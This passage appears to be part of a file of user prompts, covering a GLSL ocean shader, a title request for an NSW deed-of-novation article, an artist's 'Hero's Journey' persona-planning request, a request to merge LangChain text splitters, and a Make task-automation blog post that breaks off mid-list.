(max(e.y,0.0)\\*0.8+0.2)\\*0.8;\n return vec3(pow(1.0-e.y,2.0), 1.0-e.y, 0.6+(1.0-e.y)\\*0.4) \\* 1.1;\n}\n\n// sea\nfloat sea\\_octave(vec2 uv, float choppy) {\n uv += noise(uv); \n vec2 wv = 1.0-abs(sin(uv));\n vec2 swv = abs(cos(uv)); \n wv = mix(wv,swv,wv);\n return pow(1.0-pow(wv.x \\* wv.y,0.65),choppy);\n}\n\nfloat map(vec3 p) {\n float freq = SEA\\_FREQ;\n float amp = SEA\\_HEIGHT;\n float choppy = SEA\\_CHOPPY;\n vec2 uv = p.xz; uv.x \\*= 0.75;\n \n float d, h = 0.0; \n for(int i = 0; i < ITER\\_GEOMETRY; i++) { \n d = sea\\_octave((uv+SEA\\_TIME)\\*freq,choppy);\n d += sea\\_octave((uv-SEA\\_TIME)\\*freq,choppy);\n h += d \\* amp; \n uv \\*= octave\\_m; freq \\*= 1.9; amp \\*= 0.22;\n choppy = mix(choppy,1.0,0.2);\n }\n return p.y - h;\n}\n\nfloat map\\_detailed(vec3 p) {\n float freq = SEA\\_FREQ;\n float amp = SEA\\_HEIGHT;\n float choppy = SEA\\_CHOPPY;\n vec2 uv = p.xz; uv.x \\*= 0.75;\n \n float d, h = 0.0; \n for(int i = 0; i < ITER\\_FRAGMENT; i++) { \n d = sea\\_octave((uv+SEA\\_TIME)\\*freq,choppy);\n d += sea\\_octave((uv-SEA\\_TIME)\\*freq,choppy);\n h += d \\* amp; \n uv \\*= octave\\_m; freq \\*= 1.9; amp \\*= 0.22;\n choppy = mix(choppy,1.0,0.2);\n }\n return p.y - h;\n}\n\nvec3 getSeaColor(vec3 p, vec3 n, vec3 l, vec3 eye, vec3 dist) { \n float fresnel = clamp(1.0 - dot(n,-eye), 0.0, 1.0);\n fresnel = min(pow(fresnel,3.0), 0.5);\n \n vec3 reflected = getSkyColor(reflect(eye,n)); \n vec3 refracted = SEA\\_BASE + diffuse(n,l,80.0) \\* SEA\\_WATER\\_COLOR \\* 0.12; \n \n vec3 color = mix(refracted,reflected,fresnel);\n \n float atten = max(1.0 - dot(dist,dist) \\* 0.001, 0.0);\n color += SEA\\_WATER\\_COLOR \\* (p.y - SEA\\_HEIGHT) \\* 0.18 \\* atten;\n \n color += vec3(specular(n,l,eye,60.0));\n \n return color;\n}\n\n// tracing\nvec3 getNormal(vec3 p, float eps) {\n vec3 n;\n n.y = map\\_detailed(p); \n n.x = map\\_detailed(vec3(p.x+eps,p.y,p.z)) - n.y;\n n.z = map\\_detailed(vec3(p.x,p.y,p.z+eps)) - n.y;\n n.y = eps;\n return normalize(n);\n}\n\nfloat heightMapTracing(vec3 ori, vec3 dir, out vec3 p) { \n float tm = 0.0;\n float tx = 1000.0; \n float hx = map(ori + dir \\* tx);\n if(hx > 0.0) {\n p = ori + dir \\* tx;\n return tx; \n }\n float hm = map(ori + dir \\* tm); \n float tmid = 0.0;\n for(int i = 0; i < NUM\\_STEPS; i++) {\n tmid = mix(tm,tx, hm/(hm-hx)); \n p = ori + dir \\* tmid; \n float hmid = map(p);\n if(hmid < 0.0) {\n tx = tmid;\n hx = hmid;\n } else {\n tm = tmid;\n hm = hmid;\n }\n }\n return tmid;\n}\n\nvec3 getPixel(in vec2 coord, float time) { \n vec2 uv = coord / iResolution.xy;\n uv = uv \\* 2.0 - 1.0;\n uv.x \\*= iResolution.x / iResolution.y; \n \n // ray\n vec3 ang = vec3(sin(time\\*3.0)\\*0.1,sin(time)\\*0.2+0.3,time); \n vec3 ori = vec3(0.0,3.5,time\\*5.0);\n vec3 dir = normalize(vec3(uv.xy,-2.0)); dir.z += length(uv) \\* 0.14;\n dir = normalize(dir) \\* fromEuler(ang);\n \n // tracing\n vec3 p;\n heightMapTracing(ori,dir,p);\n vec3 dist = p - ori;\n vec3 n = getNormal(p, dot(dist,dist) \\* EPSILON\\_NRM);\n vec3 light = normalize(vec3(0.0,1.0,0.8)); \n \n // color\n return mix(\n getSkyColor(dir),\n getSeaColor(p,n,light,dir,dist),\n pow(smoothstep(0.0,-0.02,dir.y),0.2));\n}\n\n// main\nvoid mainImage( out vec4 fragColor, in vec2 fragCoord ) {\n float time = iTime \\* 0.3 + iMouse.x\\*0.01;\n \n#ifdef AA\n vec3 color = vec3(0.0);\n for(int i = -1; i <= 1; i++) {\n for(int j = -1; j <= 1; j++) {\n vec2 uv = fragCoord+vec2(i,j)/3.0;\n color += getPixel(uv, time);\n }\n }\n color /= 9.0;\n#else\n vec3 color = getPixel(fragCoord, time);\n#endif\n \n // post\n fragColor = vec4(pow(color,vec3(0.65)), 1.0);\n}' -"Write me a title for this article:\nAs a homeowner in NSW, it's vital to understand the legal mechanisms governing contractual obligations transfer. One such mechanism is Deed of Novation, useful when businesses change name or transfer contracts to third parties. This article explores Deed of Novation's definition, its importance to homeowners, and its differences from other legal mechanisms. By the end, you'll have a better understanding of Deed of Novation's relevance to homeowners in NSW.\nWhat is a Deed of Novation?\nA deed of novation is a legal document that allows one party to transfer its rights and obligations under an existing contract to a new party, who takes on these responsibilities and benefits from the original contract. This document enables the original party to be released from the contract while the new party assumes all legal obligations and rights under the agreement. \n\nNovation is typically used when a business undergoes significant changes such as mergers, acquisitions, or restructuring, and there is a need to transfer existing contractual agreements to a third party.\n\nNovation differs from an assignment in that it transfers all rights and obligations, while an assignment only transfers contractual benefits. It is essential to understand the implications of novation and seek legal advice to ensure that the deed is legally binding and effectively transfers contractual rights and obligations.\nKey Components of a Deed of Novation\nA deed of novation is a simple and effective tool for transferring the rights and obligations of one party under a contract to a third party. \n\nHere are the key components that a deed of novation should include:\n\nNovation or Effective Date\nThe novation or effective date is the date on which the new party will assume all the rights and obligations under the original contract. This date is critical, as it marks the point at which the transfer of rights and obligations takes place.\n\nRelease\nA release clause in a deed of novation releases the original party from all the obligations and liabilities under the contract from the date of novation. This clause ensures that the original party is no longer liable for any obligations or liabilities under the contract.\n\nRepresentations and Warranties\nRepresentations and warranties are promises made by both parties regarding the validity of the contract and their authority to enter into it. They also ensure that both parties are aware of each other's obligations and liabilities under the contract.\n\nFees and Payments\nThe fees and payments clause outlines any fees or payments that either party must make under the contract. This clause is critical, as it ensures that both parties are aware of their financial obligations under the contract.\n\nIt is essential to ensure that all these key components are included in the deed of novation to ensure that the transfer of rights and obligations is complete and legally binding. It is always recommended to consult with a legal professional before drafting or signing any legal documents.\n\nBenefits of a Deed of Novation\nA Deed of Novation offers several benefits to parties involved in a contract. By using a Deed of Novation, you can transfer your rights and obligations under an existing contract to a third party, without the need for extensive negotiation or the termination of the original contract. This can save time, money and resources, especially if the transfer involves complex contracts or multiple parties.\n\nOne of the key benefits of a Deed of Novation is that it allows you to simplify the process of transferring contractual obligations. Rather than renegotiating a new contract, you can simply transfer the existing contract to a new party. This can be particularly useful in situations where you are selling your business or restructuring your operations.\n\nAnother advantage of a Deed of Novation is that it minimizes the need for negotiation. Since the terms of the original contract remain the same, you can avoid lengthy and complicated negotiations with the other party. This can make the process of transferring contractual obligations more straightforward and efficient.\n\nFinally, a Deed of Novation can help you avoid the termination of existing contracts. If you need to transfer your contractual obligations to a third party, but do not want to terminate the existing contract, a Deed of Novation may be the best option. This way, you can transfer the obligations to a new party, while keeping the existing contract intact.\n\nRisks Associated with a Deed of Novation\nWhile a deed of novation is a useful legal tool, it is important to be aware of the potential risks that come with it. Here are some of the most significant risks to consider:\nUnforeseen obligations and liabilities: When entering into a deed of novation, it is essential to carefully consider the obligations and liabilities that are being transferred. There may be unforeseen obligations or liabilities that the new party may not be aware of, which could lead to disputes or legal action in the future.\nLack of clarity regarding the terms of the novation: A deed of novation must clearly outline the terms of the agreement to avoid any confusion or misunderstandings between the parties. Without clear and concise terms, there is a risk that the parties may have different interpretations of their obligations and responsibilities.\nThe need for careful consideration and legal advice: As with any legal agreement, it is important to seek professional legal advice before entering into a deed of novation. This will ensure that you understand the legal implications of the agreement and the risks associated with it.\nBy being aware of these risks and taking the necessary precautions, you can mitigate potential issues and ensure that the novation process runs smoothly.\n\nCommon Scenarios for Using a Deed of Novation\nA deed of novation can be a useful legal instrument in several scenarios, some of which include:\nSale or transfer of a business: If you're selling your business or transferring its ownership to another entity, a deed of novation can help transfer the contracts and obligations to the new owner.\nChanges in business structure: When you change your business structure, for example, from a sole trader to a company, a deed of novation can be used to transfer the contractual obligations to the new entity.\nTermination of contracts: A deed of novation can be used to transfer the obligations and rights under a contract to a third party, effectively terminating the contract.\nIt's important to note that while a deed of novation can be a useful legal tool in these scenarios, it's essential to obtain legal advice to ensure that the novation is done correctly and that all parties understand their rights and obligations.\n\nHow to Draft a Deed of Novation\nA Deed of Novation is a legal document that requires careful drafting to ensure that the transfer of obligations and rights is carried out smoothly and effectively. As such, it is important to seek legal advice from a qualified lawyer experienced in drafting and executing such deeds. Here are some key considerations to keep in mind when drafting a Deed of Novation:\nImportance of Legal Advice\nIt is essential to seek legal advice before entering into a Deed of Novation. A qualified lawyer can guide you through the process, identify any potential legal issues, and ensure that the deed is legally binding and enforceable.\nKey Considerations When Drafting a Deed of Novation\nWhen drafting a Deed of Novation, it is important to consider the following:\nParties involved - Clearly identify the parties involved in the novation, including the original parties, the new parties, and any other relevant parties.\nNovation or Effective Date - Clearly state the date from which the novation applies to the parties.\nRelease - Include a clause releasing the original party from all performance of the contract from the novation date.\nRepresentations and Warranties - Include any representations or warranties made by either party.\nFees and Payments - Include any fees or payments to be made by either party.\nSample Deed of Novation\nHere is an example of a Deed of Novation template:\n[Insert date of novation]\nDeed of Novation\nParties\n[Insert original party name], (ACN/ABN [Insert ACN/ABN]) of [Insert address] (Original Party);\n[Insert new party name], (ACN/ABN [Insert ACN/ABN]) of [Insert address] (New Party).\nBackground\n[Insert details of the original contract].\nAgreed Terms\n[Insert details of the novation, including the novation or effective date, release, representations and warranties, and fees and payments].\nExecution\nExecuted as a Deed.\nExecuted by:\n[Insert name of Original Party]\n[Insert signature of Original Party]\n[Insert name of New Party]\n[Insert signature of New Party]\n\nSigning a Deed of Novation\nOnce the Deed of Novation has been drafted, it's time to execute it. The signing of a Deed of Novation is an essential step that requires careful consideration. The following are key points to keep in mind when signing a Deed of Novation:\n\nRequirements for signing a Deed of Novation:\n\nAll parties involved in the agreement must sign the Deed of Novation.\nThe signatures of witnesses may also be required, depending on the jurisdiction and the terms of the agreement.\nThe date of execution must be clearly stated on the Deed of Novation.\n\nImplications of a poorly executed Deed of Novation:\n\nThe failure to comply with the necessary legal requirements can result in the Deed of Novation being invalid, which could create legal problems down the line.\nIncomplete or unclear Deeds of Novation can cause confusion and lead to disputes.\n\nIt is therefore recommended that parties seek legal advice when executing a Deed of Novation to ensure that all legal requirements are met and that the document is executed correctly.\n\nConclusion\nIn conclusion, a Deed of Novation is an important legal document that can be used in a variety of scenarios to transfer contractual obligations. While there are benefits to using a Deed of Novation, there are also risks that must be carefully considered. Seeking legal advice is crucial to ensure that the document is drafted correctly and executed properly. \n\nAt Contracts Specialist, we offer a free consultation to homeowners in NSW who are considering a Deed of Novation. Contact us today to schedule a meeting with one of our experienced lawyers." -"Right now, I am creating a portfolio for myself as an artist to deepen and clarify the story I present to my audience through my music and my image on social media and in real life. \n\nIt is comprehensive outline of the persona maturation project entitled ‘The Journey’. It covers each and every aspect of the process in detail, both theoretical and practical, as well as a structured approach to building upon existing character frameworks.\n\nThe following is the current structure of the document, like the table of contents:\n\n# Introduction\n\nThis is a comprehensive introduction meant to bring you, the reader, up to speed with the current outline and motivations of the project.\n\n## What is ‘The Journey’\n\nThe Journey, derived from The Hero’s Journey, a theoretical roadmap to the development of the key elements that evoke powerful emotional reactions in people. The Hero’s Journey is a structure that has been followed by some of the greatest stories ever told and ever lived. \n\nThe version of this journey described throughout the document is tailored for Kadence and is meant to serve as a reference point and a workspace for ideas, planning, and the execution of specialized tactics in order to continuously develop and progress the story which underlies the public representation of the ideas covered in this document. \n\nThe Journey, it’s associated ambitions, milestones, challenges, and gimmicks are experimental in nature, and thus are used to further our own research into the business of artist development, and quite possible leaving our mark on the World.\n\n## What is within this document?\n\nThis document contains a whole lot of useful information about characters, possible pathways of progression, theoretical understandings from The Hero’s Journey, and much more. Overall, this document is a collection of all types of information that is relevant to the project undertakings described above.\n\n## How should this document be used?\n\nThis document should be seen strictly as an experimental guideline line used to plan and execute experimental content and plot lines with the intent of learning from experiment results and making changes to procedures in the future where necessary. With regards to content, the content database provided in this document will be used to visualize the potential timeline of events that will transpire once the official process has gone underway (ie. when the first piece of planned content is released to the public and the timeline must be adhered to.)\n\nIn addition to the content calendar, the document will be the gathering place for information deemed useful during the planning and execution process of projects such as the [Docu-series: ‘Untitled’](https://www.notion.so/Docu-series-Untitled-16d8ab7a883946629fcfa3154b28f7f9) . This information serves to fuel the end-user content that is scheduled and created. By using the Hero’s Journey as a guideline, maximum impact can be gradually attained via meticulous planning and execution of ordered story elements once it is distilled into its relevant parts here inside this document.\n\n## What is [The Story]\n\n[The Story] is a character arch guideline for the [Docu-series: ‘Untitled’] that is derived from the content of this page. It occurs over a discrete time period, subtly growing in both complexity and depth. The point of using a story is simple, it allows us as the creators of content to understand what type of activities, emotions, themes, places, people, and other story elements to include in order to progress the story, in film format, from a clear beginning to a decisive end without relying on specific events or in real life occurrences that might be outside of our control. By determining the characters in the story, as well as their personalities, aspirations, fears, hopes, and desires, we will be able to translate the implied reality of those characters into practical actions and plot points that can be made in the real world to add a touch of fantasy-like takeaways to the project.\n\nBy taking the time to understand both the created characters and their real life counterparts, we ensure maximum compatibility with your (you reading this) personality and willingness to carry-out certain real life actions. For example; if there is a unanimous vote in favour of a miniature story arch entitled “the Hair Bleaching Journey”, then the actual feasibility of both the execution and the successful implementation of the story arch can be weighed against the personalities who would actually be carrying out the plot in real life (ie. Kadence). In this case, the previously mentioned miniature story arch above is within the personalitie’s \\*zone of possibility\\*. This lends a higher chance of success as well as a more natural feeling approach to executing the actual story element. This simply means that Kadence is okay with whatever comes with such a mini arch. There may be others which fall outside of this feasible range, and that is where this entire document comes in. It allows us to weed through all of our ideas, selecting the most realistic ones that also add to the greater storyline (following the Hero’s Journey). The content calendar supports this by allowing us to plan months in advance in order to make sure that our plans are solid well before any are due to air or be created in the real world. One more advantage of this setup is that is allows for the addition of subtle details and easter eggs which add to the realism of the events. \n\n## What is content?\n\nThe content being referred to throughout this document implies any piece of digital media created with the intention to release publicly, and any physical activity, psychological manipulation, social experiment, or persona maturation that takes place as a result of itself within the structure of the content as a whole. For example, with respects to the persona maturation process and the Hero’s Journey, there must be a transition from ‘the Ordinary World’ into ‘the Special World’, a call to adventure. This means that content surrounding this major story arch can be anything from music and visual content, to IRL appearances and planned controversy. Whether a certain piece of content gets placed on the calendar depends on whether or not is has met the above criteria for all parties involved.\n\n# The Journey\n\n## Who is Kadence\n\nI am Kadence, a 25-year-old musician from New York City who was raised in Jamaica. Music has been a constant in my life, a source of comfort and inspiration that has seen me through the ups and downs of my journey. From a young age, I was drawn to the rhythms of the Caribbean and the art of music-making, and it was in Jamaica where I first discovered my love for rap and hip-hop.\n\nI started my journey as a rap artist under the name 'Kadence' in 2012, and it wasn't long before I became well-known in my home city of Mandeville for my skills as a producer, vocalist, and songwriter. I spent countless hours honing my craft, pouring my heart and soul into each beat, each verse, each chorus. I knew that music was my calling, and I was determined to make it my life's work.\n\nSo, in 2015, I made the bold decision to move to Toronto, Canada, to pursue my dream of becoming a successful musician. It was a difficult decision, leaving behind my family and friends, but I was driven by a deep passion for music and a fierce determination to succeed. And I am proud to say that today, I produce and record my own music, blending elements of rap and hip-hop, R&B, dancehall, and pop into a sound that is uniquely my own.\n\nMy music reflects my experiences, my emotions, and my journey. It is a testament to my resilience and my determination. But it is more than just entertainment, it is a source of comfort and inspiration for those who need it most. I use my songs to help others through difficult times, to bring light into the darkness, and to bring people together. I have an empathy that is rare in this world, a genuine desire to make a positive impact on those around me. I want my music to make a difference, to touch people's hearts, and to help heal the world.\n\nMy brand is defined by my authenticity, my empathy, my passion, my creativity, my resilience, and my humility. I am more than just an artist, I am a source of inspiration, a voice for the voiceless, and a shining light in a dark world. I hope to become known worldwide, remain independent and profitable, and eventually become close friends with my idols. But most of all, I want to be known for always releasing high-quality music that speaks to the hearts of my listeners.\n\nI believe that music has the power to change lives, to bring people together, and to make the world a better place. And I am proud to be a part of that tradition, to be a part of that legacy. I will continue to pour my heart and soul into each song I write, each beat I produce, because I know that music is more than just entertainment, it is a way of life. And I am honoured to share my life's work with the World.\n\n## Synopsis\nAs you can see, the above is aimed to build a book of myself in which I can create and operate a storyline that draws in listeners while making the creative aspect of my work easier and more enjoyable. Please help me to generate:\n\n1) More sections such as '# Introduction' and sub-sections like '## Who is Kadence?'. Please only provide the headings, I don't need the descriptions yet. Please provide 20.\n\nand \n\n2) As you can see, I used your last generated message about my brand identity statement to fill the '## Who is Kadence?' section. Can you give me ideas on how to continue structuring the overall book so that it has more chapters and I will be able to implement the 'Hero's Journey' method into the writing of it, while maintaining physically attainable actions that I am able to take in the real world to further enhance the realism of the book? Please provide me actionable sections and sub-sections that will help me to categorize and organize useful information such as what you have provided me so far, as well as information I will learn in the future from market research and the like." -'I\'m building an automated information retrieval system. I have a text splitter which takes long text input and splits into smaller chunks based on a target chunk size.\n\nI have 2 great text splitters which I like. I want to merge them together: RecursiveCharacterTextSplitter and NLTKTextSplitter.\n\n```python\n"""Functionality for splitting text."""\nfrom \\_\\_future\\_\\_ import annotations\n\nimport copy\nimport logging\nfrom abc import ABC, abstractmethod\nfrom typing import (\n AbstractSet,\n Any,\n Callable,\n Collection,\n Iterable,\n List,\n Literal,\n Optional,\n Union,\n)\n\nfrom langchain.docstore.document import Document\n\nlogger = logging.getLogger()\nclass TextSplitter(ABC):\n """Interface for splitting text into chunks."""\n\n def \\_\\_init\\_\\_(\n self,\n chunk\\_size: int = 4000,\n chunk\\_overlap: int = 200,\n length\\_function: Callable[[str], int] = len,\n ):\n """Create a new TextSplitter."""\n if chunk\\_overlap > chunk\\_size:\n raise ValueError(\n f"Got a larger chunk overlap ({chunk\\_overlap}) than chunk size "\n f"({chunk\\_size}), should be smaller."\n )\n self.\\_chunk\\_size = chunk\\_size\n self.\\_chunk\\_overlap = chunk\\_overlap\n self.\\_length\\_function = length\\_function\n\n @abstractmethod\n def split\\_text(self, text: str) -> List[str]:\n """Split text into multiple components."""\n\n def create\\_documents(\n self, texts: List[str], metadatas: Optional[List[dict]] = None\n ) -> List[Document]:\n """Create documents from a list of texts."""\n \\_metadatas = metadatas or [{}] \\* len(texts)\n documents = []\n for i, text in enumerate(texts):\n for chunk in self.split\\_text(text):\n new\\_doc = Document(\n page\\_content=chunk, metadata=copy.deepcopy(\\_metadatas[i])\n )\n documents.append(new\\_doc)\n return documents\n\n def split\\_documents(self, documents: List[Document]) -> List[Document]:\n """Split documents."""\n texts = [doc.page\\_content for doc in documents]\n metadatas = [doc.metadata for doc in documents]\n return self.create\\_documents(texts, metadatas)\n\n def \\_join\\_docs(self, docs: List[str], separator: str) -> Optional[str]:\n text = separator.join(docs)\n text = text.strip()\n if text == "":\n return None\n else:\n return text\n\n def \\_merge\\_splits(self, splits: Iterable[str], separator: str) -> List[str]:\n # We now want to combine these smaller pieces into medium size\n # chunks to send to the LLM.\n separator\\_len = self.\\_length\\_function(separator)\n\n docs = []\n current\\_doc: List[str] = []\n total = 0\n for d in splits:\n \\_len = self.\\_length\\_function(d)\n if (\n total + \\_len + (separator\\_len if len(current\\_doc) > 0 else 0)\n > self.\\_chunk\\_size\n ):\n if total > self.\\_chunk\\_size:\n logger.warning(\n f"Created a chunk of size {total}, "\n f"which is longer than the specified {self.\\_chunk\\_size}"\n )\n if len(current\\_doc) > 0:\n doc = self.\\_join\\_docs(current\\_doc, separator)\n if doc is not None:\n docs.append(doc)\n # Keep on popping if:\n # - we have a larger chunk than in the chunk overlap\n # - or if we still have any chunks and the length is long\n while total > self.\\_chunk\\_overlap or (\n total + \\_len + (separator\\_len if len(current\\_doc) > 0 else 0)\n > self.\\_chunk\\_size\n and total > 0\n ):\n total -= self.\\_length\\_function(current\\_doc[0]) + (\n separator\\_len if len(current\\_doc) > 1 else 0\n )\n current\\_doc = current\\_doc[1:]\n current\\_doc.append(d)\n total += \\_len + (separator\\_len if len(current\\_doc) > 1 else 0)\n doc = self.\\_join\\_docs(current\\_doc, separator)\n if doc is not None:\n docs.append(doc)\n return docs\n\n @classmethod\n def from\\_huggingface\\_tokenizer(cls, tokenizer: Any, \\*\\*kwargs: Any) -> TextSplitter:\n """Text splitter that uses HuggingFace tokenizer to count length."""\n try:\n from transformers import PreTrainedTokenizerBase\n\n if not isinstance(tokenizer, PreTrainedTokenizerBase):\n raise ValueError(\n "Tokenizer received was not an instance of PreTrainedTokenizerBase"\n )\n\n def \\_huggingface\\_tokenizer\\_length(text: str) -> int:\n return len(tokenizer.encode(text))\n\n except ImportError:\n raise ValueError(\n "Could not import transformers python package. "\n "Please it install it with `pip install transformers`."\n )\n return cls(length\\_function=\\_huggingface\\_tokenizer\\_length, \\*\\*kwargs)\n\n @classmethod\n def from\\_tiktoken\\_encoder(\n cls,\n encoding\\_name: str = "gpt2",\n allowed\\_special: Union[Literal["all"], AbstractSet[str]] = set(),\n disallowed\\_special: Union[Literal["all"], Collection[str]] = "all",\n \\*\\*kwargs: Any,\n ) -> TextSplitter:\n """Text splitter that uses tiktoken encoder to count length."""\n try:\n import tiktoken\n except ImportError:\n raise ValueError(\n "Could not import tiktoken python package. "\n "This is needed in order to calculate max\\_tokens\\_for\\_prompt. "\n "Please it install it with `pip install tiktoken`."\n )\n\n # create a GPT-3 encoder instance\n enc = tiktoken.get\\_encoding(encoding\\_name)\n\n def \\_tiktoken\\_encoder(text: str, \\*\\*kwargs: Any) -> int:\n return len(\n enc.encode(\n text,\n allowed\\_special=allowed\\_special,\n disallowed\\_special=disallowed\\_special,\n \\*\\*kwargs,\n )\n )\n\n return cls(length\\_function=\\_tiktoken\\_encoder, \\*\\*kwargs)\nclass RecursiveCharacterTextSplitter(TextSplitter):\n """Implementation of splitting text that looks at characters.\n\n Recursively tries to split by different characters to find one\n that works.\n """\n\n def \\_\\_init\\_\\_(self, separators: Optional[List[str]] = None, \\*\\*kwargs: Any):\n """Create a new TextSplitter."""\n super().\\_\\_init\\_\\_(\\*\\*kwargs)\n self.\\_separators = separators or ["\\n\\n", "\\n", " ", ""]\n\n def split\\_text(self, text: str) -> List[str]:\n """Split incoming text and return chunks."""\n final\\_chunks = []\n # Get appropriate separator to use\n separator = self.\\_separators[-1]\n for \\_s in self.\\_separators:\n if \\_s == "":\n separator = \\_s\n break\n if \\_s in text:\n separator = \\_s\n break\n # Now that we have the separator, split the text\n if separator:\n splits = text.split(separator)\n else:\n splits = list(text)\n # Now go merging things, recursively splitting longer texts.\n \\_good\\_splits = []\n for s in splits:\n if self.\\_length\\_function(s) < self.\\_chunk\\_size:\n \\_good\\_splits.append(s)\n else:\n if \\_good\\_splits:\n merged\\_text = self.\\_merge\\_splits(\\_good\\_splits, separator)\n final\\_chunks.extend(merged\\_text)\n \\_good\\_splits = []\n other\\_info = self.split\\_text(s)\n final\\_chunks.extend(other\\_info)\n if \\_good\\_splits:\n merged\\_text = self.\\_merge\\_splits(\\_good\\_splits, separator)\n final\\_chunks.extend(merged\\_text)\n return final\\_chunks\nclass NLTKTextSplitter(TextSplitter):\n """Implementation of splitting text that looks at sentences using NLTK."""\n\n def \\_\\_init\\_\\_(self, separator: str = "\\n\\n", \\*\\*kwargs: Any):\n """Initialize the NLTK splitter."""\n super().\\_\\_init\\_\\_(\\*\\*kwargs)\n try:\n from nltk.tokenize import sent\\_tokenize\n\n self.\\_tokenizer = sent\\_tokenize\n except ImportError:\n raise ImportError(\n "NLTK is not installed, please install it with `pip install nltk`."\n )\n self.\\_separator = separator\n\n def split\\_text(self, text: str) -> List[str]:\n """Split incoming text and return chunks."""\n # First we naively split the large input into a bunch of smaller ones.\n splits = self.\\_tokenizer(text)\n return self.\\_merge\\_splits(splits, self.\\_separator)\n```\n\nHelp me create a new Text Splitter function which is the best of both NLTKTextSplitter and RecursiveCharacterTextSplitter combined. Thank you!' -"Task Automation: 10 Tasks You Can Automate with Make - Part 1\nJul 08, 2020 | 13 minutes\nTask Automation 10 Tasks You Can Automate with Make - Part 1\nWhat is task automation? Which are the best task automation tools? What tasks can be automated? \n\nI can’t remember how many times I’ve been asked these questions after mentioning that I work for a company whose product allows for task automation, but it’s certainly been more than a few. \n\nNeedless to say, it doesn’t bother me one bit to answer. \n\nIt’s a good way to break the ice, and I understand the underlying interest in the topic: tasks are getting automated left and right, and the more it happens, the more people want to know about it. \n\nIn addition, questions about task automation have inspired me to write this article. I’ve been wanting to do this after noticing how difficult it can be to provide an answer that is both quick and satisfactory to the question of what tasks can be automated -- so here I am. \n\nWhat will you find here? A comprehensive list of tasks you can automate, plus a couple of baseline concepts about task automation. I will take you beyond generic definitions and tired examples, and into a list of 50 real-life tasks anyone can automate in minutes using Make. \n\nPlease bear in mind, these are not just ideas for task automation, but actual templates that are available on Make, and that you can use to automate your tasks right away. Ready to get started? Buckle up, because we are in for a wild ride. \n\nTask automation: A definition\nFormally speaking, task automation is nearly as old as human industry: the earliest known feedback-controlled mechanism dates back to 300 BC. In case you are wondering, it's a water clock, which of course automated the task of measuring time. \n\nHowever, the topic of task automation gained renewed attention due to digitalization and the increase of software offerings allowing for partial or total automation. \n\nIn this line, the contemporary definition of “task automation” points to the use of software tools to either reduce or remove the amount of manual labor involved in the completion of a task.\n\nWhich are the best task automation tools?\nWhenever this question pops up, the words of late writer and wine specialist Miguel Brascó come to my mind. Invariably, people used to ask Brascó what the best wine was, and his answer was always the same:\n\nThe best one is the one you like.\n\nI believe the same applies to automation tools, to a degree. If you like a tool, feel comfortable using it, and find it useful you reach your goals in a sustainable way, you already have the answer. If otherwise, you are new to task automation, I recommend you do the following:\n\nIdentify and categorize tasks by qualities like repetitiveness, the amount of time it takes to complete them, and complexity.\n\nCheck which apps are involved in the tasks.\n\nEvaluate your options, which boil down to three alternatives: coding your way to task automation, choosing no-code/low-code automation tools like Make, or relying on native app integrations when suitable.\n\nI understand that it can still be difficult to make a choice after going through this process, and that’s why the following section will help shine a light on what’s the best alternative to cover your needs. Read on!\n\nWhat tasks can be automated?\nI’m well aware that many companies tend to fall for a generic answer here, often in the line of “automate everything with X”. \n\nAs you can imagine, this is an exaggeration: if a tool to automate everything existed, it would easily dominate the market without needing to make such claims. \n\nThis said, there are products that allow you to automate an impressive range of tasks; so many, that they can be counted in the thousands. Make is one of these tools. \n\nIn this line, I have composed a list of 50 tasks you can automate with Make. The goal is to provide you with actionable examples that work in the real world, using real apps to automate common tasks. \n\nBefore we start, please note that each and one of the task automation examples in the list can be deployed right away and that it is available as a template on Make. \n\nAlso, I decided to break down this post into a 2-part series to make it more digestible. Otherwise, it can be a lot to take in! \n\nNow, let’s take a look at the first 25 tasks you can automate. In this part, I will cover task automation for:\n\nEmail\n\nE-commerce\n\nCRMs\n\nCalendar\n\nEmail tasks automation\nSuitable for: everyone; particularly for digital marketers, email marketing specialists, sales consultants, e-commerce specialistsCommonly used apps: Email, Gmail, MailChimp, Slack, Google Sheets\n\n1. Automatically forward new emails containing a specific word to another email address\nEver found yourself forwarding emails on a regular basis? It happens to all of us, and we tend to do it for both personal and professional purposes. It’s also a time-consuming task that can be thoroughly automated.\n\nWhat does this template do? If an email contains a certain word on the subject line or body, it gets automatically forwarded to the address you determine. Simple, and convenient.\n\nApps used: Gmail\n\nLink to template: Auto forward Gmail emails\n2. Add new emails to a Google Sheets spreadsheet\nSending email addresses to a Google spreadsheet is a great way to start building a database. Email addresses can be used for a number of purposes, including:\n\nThe creation of Facebook audiences for ad campaigns\n\nSending newsletters\n\nLaunching email marketing campaigns\n\nWhat does this template do? Every time you receive an email, it sends the selected data (for example, the sender’s name and address) to a Google Sheets spreadsheet.\n\nApps used: Gmail, Google Sheets\n\nLink to template: Send email data to Google Sheets\n3. Add a “client” inbox label to emails\nLet’s face it, not everyone uses a CRM to follow up on clients, and Gmail is a popular tool to fulfill the task. However, the larger the client base, the harder to keep up with work, and this is where this integration comes into play.\n\nWhat does this template do? It basically checks incoming emails and looks for matches on a Google Sheets database. If the email address is on the spreadsheet, it will label the emails as a “client” email, and add it to the corresponding inbox (i.e. “client inbox”).\n\nApps used: Gmail, Google Sheets\n\nLink to template: Auto label Gmail emails\n4. Get an email for new Google Forms submissions\nForms are a wonderful Google product, and there are many tasks that involve them. Funneling the information contained in a form to another person is a task most people do manually, but that can be entirely (and easily!) automated.\n\nWhat does this template do? It watches Google Forms responses and sends an email whenever a form is completed and submitted. The email notification can be sent to one or more people; it’s up to you to choose the recipients.\n\nApps used: Email, Google Forms\n\nLink to template: Get emails for new Google Forms submissions\n5. Send a welcome email to new MailChimp subscribers\nIf you are using MailChimp to manage email contacts, you know how important it is to nurture customer relationships from the very beginning. What’s most, you can automate the task, and move on.\n\nWhat does this template do? This integration will “watch” your MailChimp account, and whenever someone subscribes it will trigger an automatic “welcome” email, which you can configure according to your needs.\n\nApps used: MailChimp, Gmail\n\nLink to template: Automatically send welcome emails\n6. Send Slack messages for new emails\nEmail can be a double-edged sword. Vital as it may be, it can become a distraction as well. A solution to this problem is to concentrate all your activities on your work and productivity tools, such as Slack and ClickUp.\n\nIn the case of email, this means to automatically get emails into a Slack channel of your preference. \n\nWhat does this template do? Watches emails that meet certain criteria (such as sender, receiver, subject, or if there is a certain word in the email body), and then forwards these to a Slack channel of your choice (public or private).\n\nApps used: Gmail, Slack\n\nLink to template: Forward emails to Slack\nEcommerce tasks automation\nSuitable for: ecommerce specialists, online store managers, digital marketers\n\nCommonly used apps: Shopify, Magento, WooCommerce, 